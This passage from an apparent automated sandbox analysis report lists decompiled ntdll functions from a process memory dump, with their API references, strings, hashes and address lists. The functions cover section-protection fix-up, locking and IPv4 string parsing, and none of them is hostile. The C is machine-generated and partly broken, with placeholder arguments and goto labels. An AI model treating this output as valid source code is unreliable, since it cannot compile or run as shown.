				long _t4;
				void* _t8;
				long _t21;
				wchar_t* _t23;

				_push(__ecx);
				_t23 = __edx;
				_t8 = __ecx;
				_t4 = wcschr(__edx, 0x2c);
				if(_t4 != 0) {
					 *_t4 = 0;
					_t4 = wcstoul(_t4 + 2,  &_v8, 0x10);
					_t21 = _t4;
					if(_t21 != 0) {
						_push(_t21);
						_push(_t8 + 0x24);
						E6CE95720(0x55, 3, "CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X\n", _t23);
						_t4 = E6CE83C93( *((intOrPtr*)(_t8 + 0x18)), _t23, _t21);
					}
				}
				return _t4;
			}

0x6ce83e18
0x6ce83e1c
0x6ce83e1e
0x6ce83e23
0x6ce83e2c
0x6ce83e30
0x6ce83e3d
0x6ce83e42
0x6ce83e49
0x6ce83e4b
0x6ce83e4f
0x6ce83e5a
0x6ce83e68
0x6ce83e68
0x6ce83e49
0x6ce83e73

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6CE6060B), ref: 6CE83E23
wcstoul.1105(-00000002,6CE6060B,00000010,?,?,00000000,?,?,6CE6060B), ref: 6CE83E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6CE6060B), ref: 6CE83E5A

Part of subcall function 6CE83C93: wcschr.1105(?,0000003D,00000000,?), ref: 6CE83CAC
Part of subcall function 6CE83C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6CE83CD0
Part of subcall function 6CE83C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6CE83D72
Part of subcall function 6CE83C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6CE83D89
Part of subcall function 6CE83C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6CE83DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6CE83E51

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: 44f1752d1a79318801a8568ebc24db517ce84c41e9076c0030864bab319ee564
Instruction ID: 3652870d3da53c58195096b6e799d0ab20139dcd89e855b51cf3787c8ec91c81
Opcode Fuzzy Hash: 44f1752d1a79318801a8568ebc24db517ce84c41e9076c0030864bab319ee564
Instruction Fuzzy Hash: 30F0F63224170036E61856999C46FE73B6DCF85664F71015DFA1C9B781EA91DD14C1F0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3BDFC, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6CE3BDFC(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				char _v20;
				void* _t21;
				intOrPtr _t24;
				char _t26;
				signed int _t27;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				void* _t39;
				char _t41;
				void* _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t60;
				void* _t62;

				_t39 = __ebx;
				_push(__edi);
				E6CE22280(_t21, 0x6cef79e4);
				_t55 =  *0x6cefb328; // 0x1
				if(_a4 != 0) {
					if(_t55 == 0) {
						goto L9;
					} else {
						_t56 = _t55 - 1;
						 *0x6cefb328 = _t56;
						if(_t56 == 0) {
							_push(2);
							L10();
						}
						goto L5;
					}
				} else {
					if(_t55 == 0) {
						_push(4);
						L10();
					}
					if(_t55 == 0xffffffff) {
						L9:
						E6CE1FFB0(_t39, 0x6cef79e4, 0x6cef79e4);
						_t41 = 0xe;
						asm("int 0x29");
						_t60 = _t62;
						_t24 =  *0x6cefb22c; // 0x0
						_v20 = _t41;
						if(_t24 == 0) {
							E6CE8B21E(_t41);
						}
						_t26 =  *0x6cefb22c; // 0x0
						_v20 = _t26;
						_t27 =  *0x6cefb220; // 0x0
						_v16 = _t27;
						_push( &_v12);
						_push(_v12);
						_push( &_v16);
						_push( &_v20);
						_push(0xffffffff);
						_t31 = E6CE49A00();
						if(_t31 < 0) {
							_t42 = 5;
							asm("int 0x29");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t60);
							_push(_t42);
							_push(_t42);
							_t32 =  *[fs:0x18];
							_t43 =  *((intOrPtr*)(_t32 + 0xfdc));
							if(_t43 < 0) {
								_t32 = _t32 + _t43;
							}
							_t44 =  *[fs:0x18];
							_t50 =  *((intOrPtr*)(_t44 + 0xfdc));
							if(_t50 < 0) {
								_t44 = _t44 + _t50;
							}
							_t33 =  *[fs:0x18];
							_t45 =  *((intOrPtr*)(_t33 + 0xfdc));
							if(_t32 ==  *((intOrPtr*)(_t44 + 0x18))) {
								if(_t45 < 0) {
									_t33 = _t33 + _t45;
								}
								_t46 =  *((intOrPtr*)(_t33 + 0xfac));
								_v16 = _v16 & 0x00000000;
							} else {
								if(_t45 < 0) {
									_t33 = _t33 + _t45;
								}
								_t46 =  *((intOrPtr*)(_t33 + 0x17b8));
								_v16 =  *(_t33 + 0x17bc);
							}
							 *((intOrPtr*)( *[fs:0x18] + 0xfac)) = _t46;
							return  *((intOrPtr*)( *[fs:0x18] + 0xfac));
						} else {
							return _t31;
						}
					} else {
						 *0x6cefb328 = _t55 + 1;
						L5:
						return E6CE1FFB0(_t39, 0x6cef79e4, 0x6cef79e4);
					}
				}
			}

0x6ce3bdfc
0x6ce3be02
0x6ce3be09
0x6ce3be12
0x6ce3be18
0x6ce3be40
0x00000000
0x6ce3be42
0x6ce3be42
0x6ce3be45
0x6ce3be4b
0x6ce3be4d
0x6ce3be50
0x6ce3be50
0x00000000
0x6ce3be4b
0x6ce3be1a
0x6ce3be1c
0x6ce3be1e
0x6ce3be21
0x6ce3be21
0x6ce3be29
0x6ce3be57
0x6ce3be58
0x6ce3be5f
0x6ce3be60
0x6ce3be65
0x6ce3be6a
0x6ce3be6f
0x6ce3be74
0x6ce3bea4
0x6ce3bea4
0x6ce3be76
0x6ce3be7b
0x6ce3be7e
0x6ce3be83
0x6ce3be89
0x6ce3be8a
0x6ce3be90
0x6ce3be94
0x6ce3be95
0x6ce3be97
0x6ce3be9e
0x6ce3bead
0x6ce3beae
0x6ce3beb0
0x6ce3beb1
0x6ce3beb2
0x6ce3beb3
0x6ce3beb4
0x6ce3beb5
0x6ce3beb6
0x6ce3beb7
0x6ce3beb8
0x6ce3beb9
0x6ce3beba
0x6ce3bebb
0x6ce3bebc
0x6ce3bebd
0x6ce3bebe
0x6ce3bebf
0x6ce3bec2
0x6ce3bec5
0x6ce3bec6
0x6ce3bec7
0x6ce3becd
0x6ce3bed5
0x6ce3bed7
0x6ce3bed7
0x6ce3bed9
0x6ce3bee0
0x6ce3bee8
0x6ce3beea
0x6ce3beea
0x6ce3beef
0x6ce3bef5
0x6ce3befb
0x6ce7a550
0x6ce7a552
0x6ce7a552
0x6ce7a554
0x6ce7a55a
0x6ce3bf01
0x6ce3bf03
0x6ce3bf05
0x6ce3bf05
0x6ce3bf07
0x6ce3bf13
0x6ce3bf13
0x6ce3bf1c
0x6ce3bf31
0x6ce3bea3
0x6ce3bea3
0x6ce3bea3
0x6ce3be2b
0x6ce3be2c
0x6ce3be32
0x6ce3be3b
0x6ce3be3b
0x6ce3be29

APIs

RtlAcquireSRWLockExclusive.1105(6CEF79E4,6CEF8654,00000000,?,6CE40492,00000000,?,6CE40459,6CEF8654,?,?,?,6CE4042F,?,6CE1ECE6,6CEF84D8), ref: 6CE3BE09
RtlReleaseSRWLockExclusive.1105(6CEF79E4,6CEF79E4,6CEF8654,00000000,?,6CE40492,00000000,?,6CE40459,6CEF8654,?,?,?,6CE4042F,?,6CE1ECE6), ref: 6CE3BE33
RtlReleaseSRWLockExclusive.1105(6CEF79E4,6CEF79E4,6CEF8654,00000000,?,6CE40492,00000000,?,6CE40459,6CEF8654,?,?,?,6CE4042F,?,6CE1ECE6), ref: 6CE3BE58

Part of subcall function 6CE3BE62: ZwProtectVirtualMemory.1105(000000FF,?,00000000,-00000F38,-00000F38,?), ref: 6CE3BE97

Strings

yl, xrefs: 6CE3BE03

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireMemoryProtectVirtual
String ID: yl
API String ID: 1407556199-3993518141
Opcode ID: b23a85ee1927c74fa20db44e9bd4ef4748c01d1f0e35cef115f1d075aa0ffb62
Instruction ID: c6c54ad8bc074ef4ba35e770666b68db9b5e222f6c2f39fadd07947fbe99f102
Opcode Fuzzy Hash: b23a85ee1927c74fa20db44e9bd4ef4748c01d1f0e35cef115f1d075aa0ffb62
Instruction Fuzzy Hash: 72F09673D8563812C221151F584176B67388B86F7CF35521BEB6D1ABC0C6F4A846C1D5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE01FA1, Relevance: 6.3, APIs: 4, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6CE01FA1(unsigned int __ecx, signed int __edx, signed int _a4, void* _a8, signed int* _a12, char _a16) {
				signed int _v8;
				void _v1036;
				char _v2068;
				char _v2069;
				signed int _v2076;
				signed int _v2080;
				void* _v2084;
				signed int _v2088;
				signed int _v2092;
				signed char _v2096;
				signed int _v2100;
				signed int _v2104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t86;
				signed int _t87;
				signed int _t92;
				signed int _t95;
				signed int _t97;
				signed int _t100;
				void* _t104;
				signed int _t106;
				void* _t110;
				signed int _t112;
				signed int _t123;
				signed int* _t126;
				unsigned int _t127;
				signed int _t134;
				void* _t137;
				void* _t139;
				signed int _t142;
				signed int _t151;
				signed int _t153;
				signed int _t160;
				signed int _t162;

				_t146 = __edx;
				_t127 = __ecx;
				_v8 =  *0x6cefd360 ^ _t153;
				_t86 = _a8;
				_v2080 = __edx;
				_v2084 = _t86;
				_t126 = _a12;
				_t151 = _a4;
				if(__edx == 0 || _t151 < 0xffffffff || _t126 == 0) {
					L25:
					_t87 = 0xc000000d;
					goto L20;
				} else {
					_t149 =  *_t126;
					_v2088 = _t149;
					_t160 = _t149;
					if(_t160 < 0 || _t160 > 0 && _t86 == 0) {
						goto L25;
					} else {
						_t162 = _t127 & 0xfffffff8;
						if(_t162 != 0) {
							goto L25;
						}
						_v2069 = 0;
						_v2104 = _t127 & 0x00000001;
						_t92 = _t127 & 0x00000004;
						_v2092 = _t92;
						_t93 = _t92 & 0xffffff00 | _t162 != 0x00000000;
						_t131 = _t127 >> 0x00000001 & 0x00000001;
						_v2100 = _t92 & 0xffffff00 | _t162 != 0x00000000;
						_v2096 = _t127 >> 0x00000001 & 0x00000001;
						if(_t151 == 0xffffffff) {
							_t146 = 0x7fffffff;
							_t95 = E6CE1347D(_v2080, 0x7fffffff,  &_v2076);
							__eflags = _t95;
							if(_t95 < 0) {
								goto L25;
							}
							_t146 = _v2080;
							_t151 = _v2076 + 1;
							_t93 = _v2100;
							_t131 = _v2096;
						}
						if(_t151 > 0) {
							_t149 = _v2088;
							if( *((intOrPtr*)(_t146 + _t151 * 2 - 2)) == 0) {
								_v2069 = 1;
								_t151 = _t151 - 1;
							}
						}
						_t146 = _t151;
						if(E6CE0211D(_v2080, _t151, _t93, _t131) == 0) {
							_t97 = 0x1ff;
							_t134 = 0;
							_t149 = 0;
							_t146 =  &_v1036;
							__eflags = _v2092;
							if(_v2092 == 0) {
								L32:
								__eflags = _t134 - _t151;
								if(_t134 >= _t151) {
									L36:
									__eflags = _t149;
									if(_t149 <= 0) {
										L40:
										_v2076 = 0x203;
										_t146 = _t149;
										_t87 = E6CEB8061( &_v1036, _t149,  &_v2068,  &_v2076, _v2100, _v2096);
										_t151 = _v2076;
										__eflags = _t151;
										if(_t151 == 0) {
											goto L74;
										}
										__eflags = _a16;
										if(_a16 == 0) {
											L64:
											__eflags = _v2069;
											if(_v2069 == 0) {
												L68:
												_t137 = _v2084;
												__eflags = _t137;
												if(_t137 == 0) {
													L72:
													 *_t126 = _t149;
													goto L19;
												}
												_t100 = _v2088;
												__eflags = _t100;
												if(_t100 == 0) {
													goto L72;
												}
												__eflags = _t149 - _t100;
												if(_t149 > _t100) {
													goto L73;
												}
												memcpy(_t137,  &_v1036, _t149 + _t149);
												goto L72;
											}
											__eflags = _t149 - 0x1ff;
											if(_t149 > 0x1ff) {
												L57:
												_t87 = 0xc0000716;
												goto L74;
											}
											_t104 = _t149 + _t149;
											_t149 = _t149 + 1;
											__eflags = _t104 - 0x3fe;
											if(_t104 >= 0x3fe) {
												L63:
												E6CE4B75A();
												goto L64;
											}
											__eflags = 0;
											 *((short*)(_t153 + _t104 - 0x408)) = 0;
											goto L68;
										}
										__eflags = _v2069;
										if(_v2069 == 0) {
											L46:
											_t139 = _v2084;
											__eflags = _t139;
											if(_t139 == 0) {
												goto L18;
											}
											_t106 = _v2088;
											__eflags = _t106;
											if(_t106 == 0) {
												goto L18;
											}
											__eflags = _t151 - _t106;
											if(_t151 > _t106) {
												goto L73;
											}
											_push(_t151 + _t151);
											_push( &_v2068);
											goto L17;
										}
										__eflags = _t151 - 0x203;
										if(_t151 >= 0x203) {
											goto L57;
										}
										_t110 = _t151 + _t151;
										_t151 = _t151 + 1;
										__eflags = _t110 - 0x406;
										if(_t110 >= 0x406) {
											goto L63;
										}
										__eflags = 0;
										 *((short*)(_t153 + _t110 - 0x810)) = 0;
										goto L46;
									}
									_t146 =  *(_t153 + _t149 * 2 - 0x40a) & 0x0000ffff;
									__eflags = _t146 - 0x2e;
									if(_t146 != 0x2e) {
										L39:
										__eflags = _t146;
										if(_t146 == 0) {
											goto L57;
										}
										goto L40;
									}
									_t112 = E6CEB7F39( *((intOrPtr*)(_v2080 + _t151 * 2 - 2)));
									__eflags = _t112;
									if(_t112 == 0) {
										goto L57;
									}
									goto L39;
								}
								_v2076 = _t97;
								_t87 = E6CEBB140(_t134, ((_v2104 & 0x000000ff ^ 0x00000001) << 8) + 0xd, _v2080 + _t134 * 2, _t151 - _t134, _t146,  &_v2076);
								_t142 = _v2076;
								__eflags = _t87;
								if(__eflags < 0) {
									L59:
									if(__eflags == 0) {
										goto L57;
									}
									__eflags = _t87 - 0xc0000023;
									if(_t87 == 0xc0000023) {
										goto L57;
									}
									__eflags = _t87 - 0xc0000717;
									if(_t87 == 0xc0000717) {
										goto L57;
									}
									__eflags = _t142;
									L56:
									if(__eflags <= 0) {
										goto L74;
									}
									goto L57;
								}
								__eflags = _t142;
								if(_t142 == 0) {
									__eflags = _t87;
									goto L59;
								}
								_t149 = _t149 + _t142;
								__eflags = _t149;
								goto L36;
							}
							_t149 = _v2080;
							_t146 = _t151;
							_t123 = E6CEB7EC9(_v2080, _t151);
							_v2092 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								goto L57;
							}
							_v2076 = 0x1ff;
							_t87 = E6CEBB140( &_v1036, 1, _t149, _t123,  &_v1036,  &_v2076);
							_t149 = _v2076;
							__eflags = _t87;
							if(__eflags < 0) {
								L51:
								if(__eflags == 0) {
									goto L57;
								}
								__eflags = _t87 - 0xc0000023;
								if(_t87 == 0xc0000023) {
									goto L57;
								}
								__eflags = _t87 - 0xc0000717;
								if(_t87 == 0xc0000717) {
									goto L57;
								}
								__eflags = _t149;
								goto L56;
							}
							__eflags = _t149;
							if(_t149 == 0) {
								__eflags = _t87;
								goto L51;
							}
							_t134 = _v2092;
							_t146 =  &_v1036 + _t149 * 2;
							_t97 = 0x1ff - _t149;
							__eflags = 0x1ff;
							goto L32;
						} else {
							if(_t151 == 0) {
								_t87 = 0xc0000716;
								L20:
								return E6CE4B640(_t87, _t126, _v8 ^ _t153, _t146, _t149, _t151);
							}
							if(_v2069 != 0) {
								_t151 = _t151 + 1;
							}
							_t139 = _v2084;
							if(_t139 == 0 || _t149 == 0) {
								L18:
								 *_t126 = _t151;
								L19:
								_t87 = 0;
								goto L20;
							} else {
								if(_t151 > _t149) {
									L73:
									_t87 = 0xc0000023;
									L74:
									 *_t126 = 0;
									goto L20;
								}
								_push(_t151 + _t151);
								_push(_v2080);
								L17:
								memcpy(_t139, ??, ??);
								goto L18;
							}
						}
					}
				}
			}

0x6ce01fa1
0x6ce01fa1
0x6ce01fb3
0x6ce01fb6
0x6ce01fb9
0x6ce01fbf
0x6ce01fc6
0x6ce01fca
0x6ce01fd0
0x6ce02116
0x6ce02116
0x00000000
0x6ce01fe7
0x6ce01fe7
0x6ce01fe9
0x6ce01fef
0x6ce01ff1
0x00000000
0x6ce02001
0x6ce02001
0x6ce02007
0x00000000
0x00000000
0x6ce0200f
0x6ce02019
0x6ce02021
0x6ce02024
0x6ce0202a
0x6ce0202f
0x6ce02032
0x6ce02038
0x6ce02041
0x6ce020d7
0x6ce020dc
0x6ce020e1
0x6ce020e3
0x00000000
0x00000000
0x6ce020eb
0x6ce020f1
0x6ce020f2
0x6ce020f8
0x6ce020f8
0x6ce02049
0x6ce02052
0x6ce02058
0x6ce02103
0x6ce0210a
0x6ce0210a
0x6ce02058
0x6ce02065
0x6ce0206f
0x6ce5f32f
0x6ce5f334
0x6ce5f336
0x6ce5f338
0x6ce5f33e
0x6ce5f344
0x6ce5f3b0
0x6ce5f3b0
0x6ce5f3b2
0x6ce5f401
0x6ce5f401
0x6ce5f403
0x6ce5f433
0x6ce5f43f
0x6ce5f44f
0x6ce5f45f
0x6ce5f464
0x6ce5f46a
0x6ce5f46c
0x00000000
0x00000000
0x6ce5f472
0x6ce5f476
0x6ce5f510
0x6ce5f510
0x6ce5f517
0x6ce5f536
0x6ce5f536
0x6ce5f53c
0x6ce5f53e
0x6ce5f562
0x6ce5f562
0x00000000
0x6ce5f562
0x6ce5f540
0x6ce5f546
0x6ce5f548
0x00000000
0x00000000
0x6ce5f54a
0x6ce5f54c
0x00000000
0x00000000
0x6ce5f55a
0x00000000
0x6ce5f55f
0x6ce5f519
0x6ce5f51f
0x6ce5f4f0
0x6ce5f4f0
0x00000000
0x6ce5f4f0
0x6ce5f521
0x6ce5f524
0x6ce5f525
0x6ce5f52a
0x6ce5f50b
0x6ce5f50b
0x00000000
0x6ce5f50b
0x6ce5f52c
0x6ce5f52e
0x00000000
0x6ce5f52e
0x6ce5f47c
0x6ce5f483
0x6ce5f4a2
0x6ce5f4a2
0x6ce5f4a8
0x6ce5f4aa
0x00000000
0x00000000
0x6ce5f4b0
0x6ce5f4b6
0x6ce5f4b8
0x00000000
0x00000000
0x6ce5f4be
0x6ce5f4c0
0x00000000
0x00000000
0x6ce5f4c9
0x6ce5f4d0
0x00000000
0x6ce5f4d0
0x6ce5f485
0x6ce5f48b
0x00000000
0x00000000
0x6ce5f48d
0x6ce5f490
0x6ce5f491
0x6ce5f496
0x00000000
0x00000000
0x6ce5f498
0x6ce5f49a
0x00000000
0x6ce5f49a
0x6ce5f405
0x6ce5f40d
0x6ce5f410
0x6ce5f42a
0x6ce5f42a
0x6ce5f42d
0x00000000
0x00000000
0x00000000
0x6ce5f42d
0x6ce5f41d
0x6ce5f422
0x6ce5f424
0x00000000
0x00000000
0x00000000
0x6ce5f424
0x6ce5f3b4
0x6ce5f3e4
0x6ce5f3e9
0x6ce5f3ef
0x6ce5f3f1
0x6ce5f4f9
0x6ce5f4f9
0x00000000
0x00000000
0x6ce5f4fb
0x6ce5f500
0x00000000
0x00000000
0x6ce5f502
0x6ce5f507
0x00000000
0x00000000
0x6ce5f4ec
0x6ce5f4ee
0x6ce5f4ee
0x00000000
0x00000000
0x00000000
0x6ce5f4ee
0x6ce5f3f7
0x6ce5f3f9
0x6ce5f4f7
0x00000000
0x6ce5f4f7
0x6ce5f3ff
0x6ce5f3ff
0x00000000
0x6ce5f3ff
0x6ce5f346
0x6ce5f34c
0x6ce5f350
0x6ce5f355
0x6ce5f35b
0x6ce5f35d
0x00000000
0x00000000
0x6ce5f369
0x6ce5f37f
0x6ce5f384
0x6ce5f38a
0x6ce5f38c
0x6ce5f4d8
0x6ce5f4d8
0x00000000
0x00000000
0x6ce5f4da
0x6ce5f4df
0x00000000
0x00000000
0x6ce5f4e1
0x6ce5f4e6
0x00000000
0x00000000
0x6ce5f4e8
0x00000000
0x6ce5f4e8
0x6ce5f392
0x6ce5f394
0x6ce5f4d6
0x00000000
0x6ce5f4d6
0x6ce5f39a
0x6ce5f3ab
0x6ce5f3ae
0x6ce5f3ae
0x00000000
0x6ce02075
0x6ce02077
0x6ce5f323
0x6ce020b7
0x6ce020c7
0x6ce020c7
0x6ce02084
0x6ce02110
0x6ce02110
0x6ce0208a
0x6ce02092
0x6ce020b3
0x6ce020b3
0x6ce020b5
0x6ce020b5
0x00000000
0x6ce02098
0x6ce0209a
0x6ce5f569
0x6ce5f569
0x6ce5f56e
0x6ce5f570
0x00000000
0x6ce5f570
0x6ce020a3
0x6ce020a4
0x6ce020aa
0x6ce020ab
0x00000000
0x6ce020b0
0x6ce02092
0x6ce0206f
0x6ce01ff1

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6CE020AB

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 829c557ff7792b2e76549b99eeb271a7c8c08a3e4b9433dae671a8d0f92eeecb
Instruction ID: 5351f67b5e54d21a44652f7dc587bf8dca5247dad5ada24b93e6126a40993358
Opcode Fuzzy Hash: 829c557ff7792b2e76549b99eeb271a7c8c08a3e4b9433dae671a8d0f92eeecb
Instruction Fuzzy Hash: 3CA19271A012198BDB20CA1888547EA73F9BF8431CF7081A9999993B40DF36DE96CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE011E0, Relevance: 6.2, APIs: 4, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6CE011E0(signed short* _a4, signed int _a8, signed short** _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				char _v25;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t55;
				signed int _t56;
				signed int _t57;
				long _t58;
				void* _t60;
				signed int _t64;
				signed int _t65;
				signed short _t67;
				signed int _t74;
				signed int _t80;
				int _t81;
				signed int _t82;
				signed short** _t86;
				signed int _t88;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed char _t94;
				signed char _t97;
				signed int _t102;
				void* _t109;
				long _t116;
				signed int _t119;
				signed short* _t122;
				signed short* _t123;
				signed int _t124;

				_v8 =  *0x6cefd360 ^ _t124;
				_t86 = _a12;
				_t122 = _a4;
				_v48 = _a16;
				_t119 =  &_v24;
				do {
					_v36 = _v36 & 0x00000000;
					_v25 = 0;
					_v32 = 0xa;
					if( *_t122 == 0x30) {
						_t123 =  &(_t122[1]);
						_t55 =  *_t123 & 0x0000ffff;
						if(_t55 >= 0x80 || iswctype(_t55, 4) == 0) {
							_t56 =  *_t123 & 0x0000ffff;
							if(_t56 == 0x78 || _t56 == 0x58) {
								_t57 = 0x10;
								_v32 = _t57;
								_t123 =  &(_t123[1]);
								goto L3;
							} else {
								_v25 = 1;
								goto L2;
							}
						} else {
							_t57 = 8;
							_v32 = _t57;
							goto L3;
						}
						L59:
					} else {
						L2:
						_t57 = _v32;
					}
					L3:
					_t115 = _a8;
					if(_a8 != 0) {
						if(_t57 == 0xa) {
							goto L4;
						} else {
							goto L13;
						}
					} else {
						L4:
						_t58 =  *_t123 & 0x0000ffff;
						_v40 = _t58;
						if(_t58 == 0) {
							_t88 = _v36;
							_t115 = _v25;
							goto L11;
						} else {
							do {
								_t116 = 0x80;
								if(_t58 >= 0x80) {
									_t102 = _v32;
									goto L8;
								} else {
									_t81 = iswctype(_t58, 4);
									_t102 = _v32;
									_t58 = _v40;
									if(_t81 != 0) {
										_t82 = _t58 & 0x0000ffff;
										_v44 = _t82;
										if(_t82 + 0xffffffd0 >= _t102) {
											_t58 = _v40;
											goto L7;
										} else {
											_t115 = _v36;
											_t80 = _v32 * _t115;
											_t109 = _v44 + 0xffffffd0;
											goto L32;
										}
									} else {
										L7:
										_t116 = 0x80;
										L8:
										if(_t102 == 0x10) {
											if(_t58 >= _t116 || iswctype(_t58, _t116) == 0) {
												goto L9;
											} else {
												_t74 = iswctype(_v40, 2);
												_t115 = _v36;
												asm("sbb eax, eax");
												_t109 = (_t115 << 4) - ( ~_t74 & 0x00000020) + 0x41;
												_t80 = (_v40 & 0x0000ffff) + 0xa;
												L32:
												_t88 = _t109 + _t80;
												if(_t88 < _t115) {
													goto L13;
												} else {
													goto L33;
												}
											}
										} else {
											L9:
											_t88 = _v36;
											L10:
											_t115 = _a8;
											L11:
											if( *_t123 == 0x2e) {
												if(_t119 >=  &_v12) {
													goto L13;
												} else {
													goto L36;
												}
											} else {
												if(_t115 != 0) {
													 *_t119 = _t88;
													_t119 = _t119 -  &_v24 + 4 >> 2;
													if(_t115 == 0 || _t119 == 4) {
														_t119 = _t119 - 1;
														if(_t119 == 0) {
															_t91 = _v24;
															goto L58;
														} else {
															_t119 = _t119 - 1;
															if(_t119 == 0) {
																_t92 = _v24;
																if(_t92 > 0xff) {
																	goto L13;
																} else {
																	_t64 = _v20;
																	_t115 = 0xffffff;
																	if(_t64 > 0xffffff) {
																		goto L13;
																	} else {
																		_t93 = _t92 << 0x18;
																		_t65 = _t64 & 0x00ffffff;
																		goto L56;
																	}
																}
															} else {
																_t119 = _t119 - 1;
																if(_t119 == 0) {
																	_t115 = _v24;
																	if(_t115 > 0xff) {
																		goto L13;
																	} else {
																		_t94 = _v20;
																		if(_t94 > 0xff) {
																			goto L13;
																		} else {
																			_t67 = _v16;
																			if(_t67 > 0xffff) {
																				goto L13;
																			} else {
																				_t115 = _t115 << 8;
																				_t65 = _t67 & 0x0000ffff;
																				_t93 = (_t94 & 0x000000ff | _t115) << 0x10;
																				goto L56;
																			}
																		}
																	}
																} else {
																	if(_t119 != 0) {
																		goto L13;
																	} else {
																		_t115 = _v24;
																		if(_t115 > 0xff) {
																			goto L13;
																		} else {
																			_t97 = _v20;
																			if(_t97 > 0xff || _v16 > 0xff || _v12 > 0xff) {
																				goto L13;
																			} else {
																				_t93 = ((_t97 & 0x000000ff | _t115) << 0x00000008 | _v16 & 0x000000ff) << 8;
																				_t65 = _v12 & 0x000000ff;
																				L56:
																				_t91 = _t93 | _t65;
																				L58:
																				asm("bswap ecx");
																				 *_t86 = _t123;
																				 *_v48 = _t91;
																				_t60 = 0;
																			}
																		}
																	}
																}
															}
														}
													} else {
														goto L13;
													}
												} else {
													L13:
													 *_t86 = _t123;
													_t60 = 0xc000000d;
												}
											}
										}
									}
								}
								goto L14;
								L33:
								_t123 =  &(_t123[1]);
								_v36 = _t88;
								_v25 = 1;
								_t58 =  *_t123 & 0x0000ffff;
								_v40 = _t58;
							} while (_t58 != 0);
							goto L10;
						}
					}
					L14:
					return E6CE4B640(_t60, _t86, _v8 ^ _t124, _t115, _t119, _t123);
					goto L59;
					L36:
					 *_t119 = _t88;
					_t122 =  &(_t123[1]);
					_t119 = _t119 + 4;
				} while (_t115 != 0);
				goto L13;
			}

0x6ce011ef
0x6ce011f6
0x6ce011fa
0x6ce011fe
0x6ce01201
0x6ce01204
0x6ce01209
0x6ce01211
0x6ce01215
0x6ce0121c
0x6ce5ec5c
0x6ce5ec5f
0x6ce5ec65
0x6ce5ec80
0x6ce5ec86
0x6ce5ec98
0x6ce5ec99
0x6ce5ec9c
0x00000000
0x6ce5ec8d
0x6ce5ec8d
0x00000000
0x6ce5ec8d
0x6ce5ec75
0x6ce5ec77
0x6ce5ec78
0x00000000
0x6ce5ec78
0x00000000
0x6ce01222
0x6ce01222
0x6ce01222
0x6ce01222
0x6ce01225
0x6ce01225
0x6ce0122a
0x6ce0129f
0x00000000
0x6ce012a1
0x00000000
0x6ce012a1
0x6ce0122c
0x6ce0122c
0x6ce0122c
0x6ce0122f
0x6ce01235
0x6ce012a8
0x6ce012ab
0x00000000
0x6ce01237
0x6ce01237
0x6ce01237
0x6ce0123f
0x6ce012a3
0x00000000
